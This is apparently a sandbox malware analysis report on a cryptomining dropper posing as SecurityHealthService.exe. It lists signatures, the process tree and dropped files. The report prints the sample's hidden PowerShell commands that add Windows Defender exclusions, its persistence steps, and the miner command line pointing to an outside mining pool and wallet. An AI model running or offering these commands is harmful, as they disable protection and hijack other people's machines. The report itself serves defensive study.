Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/10/2026, 18:29

General

  • Target
    SecurityHealthService.exe
  • Size 2.1MB
  • Sample261011-w5bbqavycv
  • SHA256 94c0eb6379ad7f1a52279a152b934504ae7f68c9e5a4b09833acab963301e3ae
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

    Run Powershell and hide display window.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Executes a file named after a Windows system binary 1 TTPs 4 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe
    "C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe"
    1⤵
    • Executes a file named after a Windows system binary
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\system32\schtasks.exe
      "schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F
      2⤵
        PID:5476
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2760
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe' -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1212
      • C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe"
        2⤵
        • Executes a file named after a Windows system binary
        • Executes dropped EXE
        • Adds Run key to start application
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\system32\schtasks.exe
          "schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F
          3⤵
            PID:4940
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4400
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4972
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe' -ErrorAction SilentlyContinue"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3580
          • C:\Users\Admin\AppData\Roaming\Microsoft\wildrig.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\wildrig.exe" --algo pearl --url pool.pearlhash.xyz:9000 --user prl1p6j7535grpua5raq8vsprv0vun86axea2j0t2m0l484yewu84helqslhdwz.worker --pass x --background
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:1284
      • C:\Windows\System32\ShellHost.exe
        "C:\Windows\System32\ShellHost.exe"
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:4192
      • C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
        1⤵
        • Executes a file named after a Windows system binary
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\system32\schtasks.exe
          "schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F
          2⤵
            PID:4344
        • C:\Windows\System32\ShellHost.exe
          "C:\Windows\System32\ShellHost.exe"
          1⤵
          • Suspicious use of SetWindowsHookEx
          PID:3916
        • C:\Windows\System32\ShellHost.exe
          "C:\Windows\System32\ShellHost.exe"
          1⤵
          • Suspicious use of SetWindowsHookEx
          PID:4600

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 a3a4b6fedf55126bc425e0eeb18c369580170918cd5cfd2dc23f1decb04f3331
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 95805aca92036f42ad8e32097a40563f55de2fb99988a6bc9517192a1896fe05
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 f593a5bc18c609f44f0ab9d2d72046b7ff5d2841494193e5ef06bbd8028cfb5d
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 c36b9d47e0577bc54d59a1d5ffdd44e85d1835d4f8640cfa25e325165b69e011
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 ae2e7d790f2742a5dce4d5f9ba4ef1497b4a84d901d24cafea863da4eee1e3f4
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 8723dc2574dafbb2924f503a8ed17fc605cafc446e8722a7fee05a0dff22b862
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 1f69320870f7ed8c31491482d9d76ce7460a0f2c294d4751cefcad978015ad7f
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 6c0e51867b97402c1fe72ecc42a91f2ce8d5daddd0e0aa13ca77717e4bc55260
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 f7680072ca5221cf2d0f5ef9769a208e6ade25923ae1978cfe80fbdc4748dc3a
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_in2utrog.w3p.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_in2utrog.w3p.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              SecurityHealthService.exe

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
              • Size 2.1MB
              • SHA256 94c0eb6379ad7f1a52279a152b934504ae7f68c9e5a4b09833acab963301e3ae
              • MD5 SHA1 SHA512 SSDEEP TLSH

              config_cache.json

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\config_cache.json
              • Size 1KB
              • SHA256 ddfa73217140cfe01a1d880fe6764868219bfd42c6b861c23a7dbaa48dc0e323
              • MD5 SHA1 SHA512 TLSH

              help.txt

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\help.txt
              • Size 6KB
              • SHA256 036cd84d4b9920d3a6451ab881f393ead182955b3bca778b6c6c7820c36e406b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              license.txt

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\license.txt
              • Size 444B
              • SHA256 ede19e0487a88a4a77605058dc478bf114cb89b4d11d095378d3e945644d6bed
              • MD5 SHA1 SHA512 TLSH

              print-devices.bat

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\print-devices.bat
              • Size 140B
              • SHA256 3553e4ff820b8e8e5ed3738a845d1e9ddcb0f3d8a247cbc2917e22afcc386e3e
              • MD5 SHA1 SHA512 TLSH

              print-help.bat

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\print-help.bat
              • Size 89B
              • SHA256 fce3e8f00f8bf537c40e1a72bf4c676ea9dfb1c6f23d6891f850f8951f31c2e4
              • MD5 SHA1 SHA512 TLSH

              readme.txt

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\readme.txt
              • Size 234B
              • SHA256 8b14f1bf13404ac148bf01930985425aad0dc85c16a702d7e67be08b9d50b2b6
              • MD5 SHA1 SHA512 TLSH

              wildrig.exe

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\wildrig.exe
              • Size 40.2MB
              • SHA256 c656c5c29c98b2d9167f73d9f9237823f790f5aadd3848322c5997a257798788
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1284-321-0x00007FFC14F50000-0x00007FFC14F52000-memory.dmp

              memory/1284-322-0x00007FF6CFC80000-0x00007FF6D0C80000-memory.dmp

              memory/2760-15-0x000001D851340000-0x000001D85134A000-memory.dmp

              memory/2760-14-0x000001D8695C0000-0x000001D869672000-memory.dmp

              memory/2760-13-0x000001D851320000-0x000001D85133E000-memory.dmp

              memory/2760-0-0x000001D851130000-0x000001D851152000-memory.dmp

              memory/3256-60-0x0000023F43750000-0x0000023F43802000-memory.dmp